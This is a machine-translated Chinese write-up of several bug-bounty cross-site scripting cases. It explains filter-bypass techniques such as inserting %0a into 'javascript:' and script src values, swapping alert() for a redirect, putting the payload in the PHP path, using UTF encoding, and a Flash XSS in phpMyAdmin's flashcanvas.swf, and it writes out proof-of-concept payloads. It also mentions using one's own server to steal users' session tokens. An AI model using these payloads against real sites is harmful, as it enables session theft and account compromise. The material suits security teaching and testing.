如何利用它?
原来的要求如下:
应用程序的回应非常清楚。用户ID为空(空)。我们没有为它指定一个值。
我们有XSS。有效负载未被应用程序编码/过滤,响应的内容类型显示为HTML:
获得的经验 - 模糊和手动测试
事实上,你看不到一个参数,这并不意味着该组件不需要一个或两个工作。在前面的例子中,很容易找到缺少的参数,因为应用程序告诉我们。在其他情况下,你不会这么幸运。这就是为什么你应该学习如何模糊应用程序。模糊是将随机和非随机参数,值和数据添加到请求以查看应用程序是否以意想不到的方式回复的过程。这可以用于XSS,但也可以用于更复杂的漏洞。在上面的例子中,除非你想为这个目的开发一个工具,否则你可能会希望有一个通用参数列表来与Burp入侵者进行测试。
此外,自动化扫描仪可能会将此组件标记为非易受攻击的。确保你不要依赖自动化扫描仪太多:)
XSS 2 - 负载托管在外部和反XSS过滤器
这个例子是一个奇怪的例子。用户的受控数据可以直接传递给脚本标签的“src”属性。列入黑名单(又名灾难的秘诀),但效果不佳。
以下请求已提交:
收到以下回复:
从上面的请求中,您可以看到您提供了以下值:“/ sections / lcm-sections /”并接收:“/sections/lcm-sections/lcm-sections_TOC.js”
我们现在必须尝试从我们的网站请求一个脚本。通常,当您从外部源注入到脚本/ iframe / object / embed标记的“src”参数中时,可以采用不同的方法:
- http://yoursite.com/script.js(经典)
- //yoursite.com/script.js(较短,万一Web应用程序不喜欢特殊字符“:”,它将通过HTTP请求脚本而不是HTTPS)
- \\ yoursite.com \ script.js(与上面相同,但反斜杠而不是正斜杠)
- 其他..
对于这个XSS,上述的有效载荷都不会工作,因为有一个反XSS过滤器阻塞我们的有效载荷。如果我们尝试注入“//www.google.com”作为示例,我们将收到以下回复:
没有“//www.google.com”的标志。我们不知道是什么触发了反XSS过滤器,所以我们如何发现?简单。我们现在注入有效载荷的一部分。首先,我们会注入一些类似于“xxx”的东西,这些东西会显示在响应中(在脚本的“src”中),然后我们注入“www.google.com”请求,但不会从www.google.com请求任何有效载荷。为什么?由于该应用程序将“www.google.com”视为其网站的文件夹,例如:http://www.site.com/scripts/www.google.com/,显然这不是目标网站上托管的文件夹
如果我们注入“//www.google.com”,则整个有效内容将被移除,告诉我们反XSS过滤器不会使用连续的两个斜杠来构成有效的URL。我们需要找到一种方法来分隔斜杠,同时制作一个有效的URL来请求我们的外部托管有效载荷。我们该怎么做呢?
解决方案很简单:有一些特殊字符会被浏览器和网络应用程序以特定的方式解释。有几个(有些可能只有少数人知道),最常见的有:%00,%01,%02,%03,%04,%04,%05,%06,%07,%08,% 09,%0a,%0b,%0c,%0d,%0e,%0f
当你测试你应该尝试所有这些,你会知道哪些工作大部分时间。在这种情况下,我们很幸运,新行特殊字符(%0a)对我们有利(它没有触发Web应用程序反XSS过滤器,它被认为是有效的“src”值)。
因此,如果我们注入有效内容“/%0a/www.google.com/xss.js”,则该Web应用程序将向Google请求一个不存在的脚本。现在让我们使用我们的网站,工作完成。
正如你所看到的斜线是分开的,但有效载荷工作显示一个弹出。(我混淆了我的网站的IP地址)。
在一个类似的例子中,我们有一个反XSS过滤器,它不喜欢把我们的有效载荷注入到<a>标签的“href”参数中。标准有效负载是“javascript:alert(1);”。在我们的例子中,Web应用程序过滤器只会删除“javascript:”。为了绕过这个过滤器,我们添加了换行符“%0a”并绕过了过滤器(payload:“javascript%0a:alert(1);”)。
此外,我们必须在有效负载的末尾添加注释,以确保脚本被认为是正确的并被解析。Javascript是非常敏感的,如果你的脚本有错误,它不会运行!
我们的最终有效载荷是:javascript%0a:alert(1); //
注释“//”是必需的,因为Web应用程序在有效负载的末尾添加了一些字符以形成一个URL。
获得的经验 - 托管的有效载荷
有自己的服务器可以是非常有用的。您可以存储您经常使用的有效载荷(重复使用您的代码),从您正在测试的网站的用户处窃取会话令牌,而且远不止这些!
XSS 3 - 黑名单alert()不会停止XSS(alert()!= XSS-Free)
这很愚蠢。我曾试图不要这个例子,但我必须这样做。如果您是一名开发人员,并且您不熟悉XSS,请了解阻止JavaScript函数(如alert(),prompt(),confirm()不会停止跨站脚本的发生。(阿门!)
以下屏幕截图显示了GET请求的结果。有效载荷是“xxx”
我们可以通过添加单个字符来看到该组件是脆弱的。
当我们尝试注入最简单的POC负载“-alert(1) - ”时,我们收到应用程序的错误。我们被阻止了...
...不完全的。
其他标准有效载荷也是如此,但是如果我们试图用Javascript将用户重定向到另一个站点,那么有效载荷就没有问题了。
为了不破坏脚本,我们的最终有效载荷是:
xxx',x:window.location.assign(“https://www.google.com/”),//
当然,其他有效载荷也会以同样的方式工作,但为什么我们使用这个有效载荷呢?原因很简单。我们注意到,appConfig是一个数组,所以通过保持相同的结构,Javascript应该是有效的和执行没有问题。
经验教训 - 黑名单被打破
alert()函数或HTML标记已被列入黑名单的事实并不意味着所有的都有,而且您将无法利用您刚发现的XSS。要有创意,不要停留在第一个问题上。过滤器往往做得不好。确保你知道什么字符和功能被列入黑名单一个字符在这个时候。
XSS 4 - URL内的有效载荷(过滤器旁路)
以下示例显示了输入验证机制仅检查请求的参数是否不包含用于构建XSS有效内容的字符的情况。几乎完美。
请求:
响应:
当然,如果我们在问号后添加任何东西,我们会遇到应用程序的愤怒!
在问号之前添加的所有内容都可以用来触发XSS负载,因为有时PHP应用程序不关心文件扩展名(.php)和问号(?)之间的内容
请求:
响应:
经验教训 - 没有参数?没问题。
始终测试URL本身。您可能会发现这没有验证,它的值被附加到脚本中的变量,或者它被添加到响应中的其他地方。当您测试PHP应用程序时,请记住通常可以在URL末尾附加随机数据,例如:http://www.example.com/news/article.php/random/data/blah/?parameter=1&par2 = 1
XSS 5 - 2 paremeters或10?
以下示例显示如何阅读Javascript代码可能非常有用。
正如你可以看到我们的请求有2个参数。这是一个非常简单的要求。这两个参数都不是脆弱的。“搜索类型”参数作为“search_type”反映到页面中。那么在“search_type”之上和之下的所有行呢?难道他们是有效的参数吗?
让我们复制它们,将它们放在URL中,然后发送请求。
正如你所看到的,“CTid”参数在被放入页面之前没有被消毒!那么,我想我们有赢家。
经验教训 - 阅读代码
如果您在URL中没有看到该参数,则并不意味着它不在其他位置。总是阅读应用程序内的脚本,并尝试运气,使用你的想象力,也许是一个模糊或一个好的单词列表。
XSS 6 - UTF编码
这个XSS非常有趣,因为它使用了UTF编码,而另外一个技巧是绕过了XSS过滤器。此外,这个错误被发现一个大型的私人bug赏金计划。
从图片你可以看到我们的XSS过滤器不喜欢脚本标记,但是我们插入尖括号,而不编码它们。
以下屏幕截图显示,如果您插入随机标签,则会将其删除。所以通过插入<< x>脚本src = x>得到的字符串将是:<script src = x \>。过滤器还没有被绕过。
通过插入标准的URL编码的尖括号,应用程序简单地把它们编码。它们不能用于关闭脚本标记并重新打开另一个脚本标记。通过使用UTF编码的字符尽管这是可能的。
我们有一个过滤器旁路和XSS。最后的工作有效载荷是:
学到的教训 - 尝试不同的编码
UTF编码对欺骗Web应用程序非常有用。确保在有效载荷列表中有几种类型的编码。此外,正如已经解释的,尽量不要使用自动化工具。在当时试试一个角色,找到解决方法,如果有的话。在这种情况下,我不得不放在一起,以绕过过滤器。
XSS 7 - Flash XSS Flashcanvas.swf
Flash XSS漏洞与标准反映的XSS不一样。他们需要更多的步骤才能找到正确的开发方式。
旧版本的PHPMyAdmin附带一个名为flashcanvas.swf的Flash文件,这个文件容易受到XSS的攻击。
为了反编译.swf文件,你需要一个反编译器,比如ffdec https://www.free-decompiler.com/flash/。FFDEC有一个GUI,也可以从命令行运行。
打开flashcanvas.swf后,可以通过查找关键字“loaderInfo.parameters。”轻松查找由用户控制的参数。在这种情况下,我们找到了参数“id”。
我们将id参数的值存储在objectId(objectId = loaderInfo.parameters.id)中。我们现在可以尝试关闭这个函数,像通常为一些Flash XSS所做的那样捕获错误:http:// TEST_VM:81 / vulnerable / externalinterface / phpmyadmin / js / canvg / flashcanvas.swf?id = test \“) );}赶上(E){警报(document.domain的)} //
有效载荷的解释如下:
码 | 说明 |
---|---|
\” | 用来逃避“标志。 |
))} | 关闭“try”语句的前2个括号和大括号。在许多语言中的“尝试”可以用来尝试一个函数,并在发生错误时处理错误。 |
catch(e){一些JAVASCRIPT功能} | 关闭try语句之后,可以添加catch(e)语句来拦截您知道存在的错误。 |
// | 你需要评论其余的函数,否则你会得到另一个错误,函数“try”+“catch”将不会被执行 |
有效载荷不会触发XSS。为什么?让我们回到功能。
if(objectId==null) { objectId=loaderInfo.parameters.id; resize(stage.stageWidth,stage.stageHeight); } canvasId=objectId.slice(8); command=new Command(context,canvasId);我们将URL参数的值分配给objectId,然后我们将其值赋给canvasId。如果您阅读代码,您会注意到我们正在调用slice()函数并对objectId执行一些操作:http://help.adobe.com/zh_CN/AS2LCR/Flash_10.0/help.html?content=00001554.html
slice()被描述为:它返回一个包含起始字符和所有字符的字符串,但不包括结束字符。原始的String对象不被修改。如果未指定结束参数,则子字符串的结尾是字符串的结尾。如果由start开始的索引字符与按索引结尾的字符的右侧相同或右侧,则该方法返回空字符串
切片(8)将从第8个位置开始切割存储在变量中的字符串。
由于我们传递给变量的值小于8个字符,所以没有任何切片,函数将返回一个NULL值。
让我们尝试给我们的变量八个字符的值。
HTTP:// TEST_VM:81 /脆弱/ ExternalInterface的/ phpmyadmin的/ JS / canvg / flashcanvas.swf ID = 12345678 \%22));}赶上(E){警报(document.domain的)} //
获得的教训 - 反编译!
Flash XSS注定要消失。Flash将尽快死亡。同时还有使用闪存的网站,即使反映的XSS付费不多,反编译和找到正确的有效负载可能是相当具有挑战性和乐趣!
本文作者为Mr.Bai,转载请注明。